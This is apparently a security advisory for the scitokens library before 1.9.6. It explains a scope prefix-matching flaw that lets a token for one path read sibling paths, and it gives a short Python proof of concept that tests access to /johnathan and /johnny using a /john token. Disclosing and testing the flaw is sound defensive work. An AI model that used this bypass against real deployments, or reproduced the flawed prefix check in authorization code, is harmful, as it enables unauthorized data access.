Improper Authorization Affecting scitokens package, versions [,1.9.6)

scitokens is a SciToken reference implementation library

Affected versions of this package are vulnerable to Improper Authorization via the _validate_scp and _validate_scope functions. An attacker can gain unauthorized access to sibling paths by crafting tokens with scope paths that share a common prefix.

import scitokens
import sys

def poc_scope_bypass():
    """
    Demonstrate an Authorization Bypass vulnerability in scope path checking.
    """
    print("--- PoC: Incorrect Scope Path Checking (Authorization Bypass) ---")
    
    issuer = "https://scitokens.org/unittest"
    enforcer = scitokens.Enforcer(issuer)
    
    # Create a token with access to /john
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/john"
    
    print(f"Authorized path in scope: /john")
    
    # 1. Test access to /john/file (should be allowed)
    print(f"[1] Testing legitimate subpath: /john/file")
    if enforcer.test(token, 'read', '/john/file'):
        print("    -> Access GRANTED (Correct behavior)")
    else:
        print("    -> Access DENIED (Incorrect behavior - should have access to subpaths)")

    # 2. Test access to /johnathan (SHOULD BE DENIED)
    print(f"[2] Testing illegitimate sibling path: /johnathan")
    if enforcer.test(token, 'read', '/johnathan'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

    # 3. Test access to /johnny (SHOULD BE DENIED)
    print(f"[3] Testing illegitimate sibling path: /johnny")
    if enforcer.test(token, 'read', '/johnny'):
        print("    -> [VULNERABILITY] Access GRANTED! This is an authorization bypass.")
    else:
        print("    -> Access DENIED (Correct behavior - fix is working)")

if __name__ == "__main__":
    # Ensure scitokens from src/ is available
    sys.path.insert(0, "src")
    poc_scope_bypass()

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